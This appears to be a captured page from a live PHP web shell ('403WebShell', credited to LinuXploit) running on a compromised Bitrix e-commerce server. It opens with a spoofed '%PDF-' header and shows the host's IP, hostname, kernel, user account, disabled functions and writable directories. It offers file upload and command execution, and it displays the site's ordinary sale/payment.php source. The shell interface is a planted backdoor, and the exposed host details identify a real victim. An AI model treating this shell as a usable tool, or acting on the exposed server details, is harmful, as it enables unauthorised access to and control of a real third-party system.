%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.77.73
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/payment.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$ORDER_ID = intval($ORDER_ID);

if (CModule::IncludeModule("sale"))
{
	$dbOrder = CSaleOrder::GetList(
			array("DATE_UPDATE" => "DESC"),
			array("LID" => LANG, "USER_ID" => intval($USER->GetID()), "ID" => $ORDER_ID),
			false,
			false,
			array("*")
		);
	if ($arOrder = $dbOrder->Fetch())
	{
		$dbPaySysAction = CSalePaySystemAction::GetList(
				array(),
				array(
						"PAY_SYSTEM_ID" => $arOrder["PAY_SYSTEM_ID"],
						"PERSON_TYPE_ID" => $arOrder["PERSON_TYPE_ID"]
					),
				false,
				false,
				array("ACTION_FILE", "PARAMS")
			);

		if ($arPaySysAction = $dbPaySysAction->Fetch())
		{
			if ($arPaySysAction["ACTION_FILE"] <> '')
			{
				$PAYER_NAME = "";
				$GLOBALS["SALE_INPUT_PARAMS"] = array();

				$dbUser = CUser::GetByID($arOrder["USER_ID"]);
				if ($arUser = $dbUser->Fetch())
					$GLOBALS["SALE_INPUT_PARAMS"]["USER"] = $arUser;

				$GLOBALS["SALE_INPUT_PARAMS"]["ORDER"] = $arOrder;
				$GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["SHOULD_PAY"] = DoubleVal($arOrder["PRICE"]) - DoubleVal($arOrder["SUM_PAID"]);

				$arDateInsert = explode(" ", $arOrder["DATE_INSERT"]);
				if (is_array($arDateInsert) && count($arDateInsert) > 0)
					$GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["DATE_INSERT_DATE"] = $arDateInsert[0];
				else
					$GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["DATE_INSERT_DATE"] = $arOrder["DATE_INSERT"];

				$arCurOrderProps = array();
				$dbOrderPropVals = CSaleOrderPropsValue::GetList(
						array(),
						array("ORDER_ID" => $ORDER_ID),
						false,
						false,
						array("ID", "CODE", "VALUE", "ORDER_PROPS_ID", "PROP_TYPE", "PROP_IS_PAYER")
					);
				while ($arOrderPropVals = $dbOrderPropVals->Fetch())
				{
					$arCurOrderPropsTmp = CSaleOrderProps::GetRealValue(
							$arOrderPropVals["ORDER_PROPS_ID"],
							$arOrderPropVals["CODE"],
							$arOrderPropVals["PROP_TYPE"],
							$arOrderPropVals["VALUE"],
							LANGUAGE_ID
						);
					foreach ($arCurOrderPropsTmp as $key => $value)
					{
						$arCurOrderProps[$key] = $value;
					}

					if ($arOrderPropVals["PROP_IS_PAYER"] == "Y")
						$PAYER_NAME = $arOrderPropVals["VALUE"];
				}

				$GLOBALS["SALE_INPUT_PARAMS"]["PROPERTY"] = $arCurOrderProps;

				$GLOBALS["SALE_CORRESPONDENCE"] = CSalePaySystemAction::UnSerializeParams($arPaySysAction["PARAMS"]);

				$pathToAction = $_SERVER["DOCUMENT_ROOT"].$arPaySysAction["ACTION_FILE"];

				$pathToAction = str_replace("\\", "/", $pathToAction);
				while (mb_substr($pathToAction, mb_strlen($pathToAction) - 1, 1) == "/")
					$pathToAction = mb_substr($pathToAction, 0, mb_strlen($pathToAction) - 1);

				if (file_exists($pathToAction))
				{
					if (is_dir($pathToAction))
					{
						if (file_exists($pathToAction."/payment.php"))
							include($pathToAction."/payment.php");
					}
					else
					{
						include($pathToAction);
					}
				}
			}
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit